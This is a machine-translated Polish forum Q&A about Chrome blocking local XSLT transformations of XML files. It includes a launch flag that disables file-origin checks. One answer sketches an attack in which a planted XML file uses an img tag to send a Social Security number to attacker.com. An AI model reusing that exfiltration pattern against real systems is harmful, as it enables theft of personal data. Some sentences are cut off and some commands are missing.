Zajrzałem do xslt i zacząłem testować na przykładach w w3schools.
Jednak kiedy zapisuję pliki xml i xsl w plikach i próbuję je otworzyć lokalnie, chrome nie wykona transformacji xsl. Po prostu pokazuje pustą stronę.
Dodałem <?xml-stylesheet type="text/xsl" href="style.xsl">
tag do dokumentu xml, a Firefox renderuje go tak, jak powinien. Ponadto, jeśli patrzę na pliki przez serwer WWW, chrome wyświetla plik tak, jak powinien.
Czy to dlatego, że Chrome ma problem ze znalezieniem informacji w arkuszu stylów, gdy łącze jest lokalne? Zmiana href na file:///C:/xsl/style.xsl
nie zrobiła żadnej różnicy.
Aktualizacja: Wydaje się, że jest to efekt uboczny polityki bezpieczeństwa, która nie traktuje file: /// * jako tego samego pochodzenia. To powoduje, że w konsoli pojawia się następujący błąd:
Niebezpieczna próba załadowania pliku URL: /// C: /xsl-rpg/style.xsl z ramki z plikiem URL: /// C: /xsl-rpg/data.xml. Domeny, protokoły i porty muszą być zgodne.
źródło
file:
protokołu Chrome wyrzuca ten sam błąd domeny.Odpowiedzi:
Krótka odpowiedź brzmi: „Nie, użyj jednej z wielu dostępnych przeglądarek ” .
Powodem, dla którego to nie działa, jest problem bezpieczeństwa, który Chrome rozwiązał w kontrowersyjny sposób [1] [2] [3] [4] , blokując dostęp do lokalnych plików XSLT w tym samym katalogu przez pliki XML. pliki mogą uzyskać dostęp do plików .CSS w tym samym katalogu.
We wszystkich wyżej wymienionych kwestiach użytkownicy prosili o wyraźniejszy komunikat o błędzie (ponieważ domeny, protokoły i porty w rzeczywistości są zgodne) lub przynajmniej wyświetlenie XML bez stylizacji. Programiści Chrome zignorowali te żądania.
źródło
Możesz to zrobić lokalnie, używając flag wiersza poleceń Chrome.
Specyficzna flaga to
--allow-file-access-from-files
W systemie OS X: uruchom Terminal.app
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
W systemie Windows: z wiersza poleceń uruchom
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Uwaga: prawdopodobnie będziesz musiał zamknąć Chrome, jeśli jest obecnie uruchomiony, w przeciwnym razie Ch
źródło
C:\Program Files (x86)\Google\Chrome\Application
a polecenie --allow-file-access-from-files wykonuje się dobrze, ale mój lokalny dokument XML (przekształcony przez lokalny plik XSLT) nie jest wyświetlany./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
pracował dla mnie. Oczywiście używam Chrome Canary. Po uruchomieniu tego polecenia powinno się otworzyć nowe okno przeglądarki Chrome i umożliwić wykonanie przekształcenia XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Jeśli chcesz trzymać się OP, odpowiedź brzmi nie (jak wskazywali inni), ale jednym ze sposobów rozwiązania problemu jest uruchomienie prostego serwera internetowego i otwieranie plików przez http w chrome. Jeśli masz zainstalowany Python 2.x, możesz uruchomić serwer WWW, wpisując:
Lub w Pythonie 3.x:
a następnie otwórz plik, używając
http://localhost:8000/yourfile.xml
w chrome. Mam nadzieję, że chcesz po prostu wykonać swoją pracę i nie jest to kluczowa rzecz, aby otwierać plik za pomocąfile://
źródło
Zajęło to trochę czasu na rozszyfrowanie strony błędów przeglądarki Chrome - bardzo chętnie nie wyjaśniają, na czym polega problem i dlaczego wybrali łamanie wszystkich, a nie wszystkich.
Załóżmy, że mam plik XML - gdzieś - na swoim dysku twardym, np .:
I złośliwemu podmiotowi - w jakiś sposób - udało się upuścić złośliwy plik Xml na mój komputer, np .:
Imagine TrojanVirusWorm.xml zawiera instrukcję przetwarzania arkusza stylów ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Następnie osoba atakująca instruuje moją przeglądarkę, aby przejść do lokalnie zapisanego
trojanVirusWorm.xml
pliku.Najwyraźniej istnieje sposób, w jaki plik XML może odczytać zawartość pliku XSD (zamiast być przekształcanym przez plik XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Nie rozumiem, jak plik XML może odczytać plik arkusza stylów. Ale zespół Chrome zapewnia nas, że jest to zagrożenie i nie można go rozwiązać.
Każda inna przeglądarka to rozwiązała. Rozwiązali to, bo to nie jest problem .
źródło
Moje obejście, aby zobaczyć xml zgodnie z plikiem xsl
Załóżmy, że mamy plik some_file.xml z nagłówkami:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
i umieszczamy go oboksome_file.xml
href="https://some-site.com/Common.xsl"
nahref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
źródło
Możesz włączyć Chrome, aby renderował plik XSL, zmieniając ustawienia przeglądarki. Bezpieczniejszym podejściem byłoby uzyskanie dostępu do niego za pośrednictwem lokalnego serwera internetowego, takiego jak Visual Studio Code Live Server lub Apache. Aby uzyskać instrukcje, zobacz XSLT nie będzie renderować na plikach lokalnych .
źródło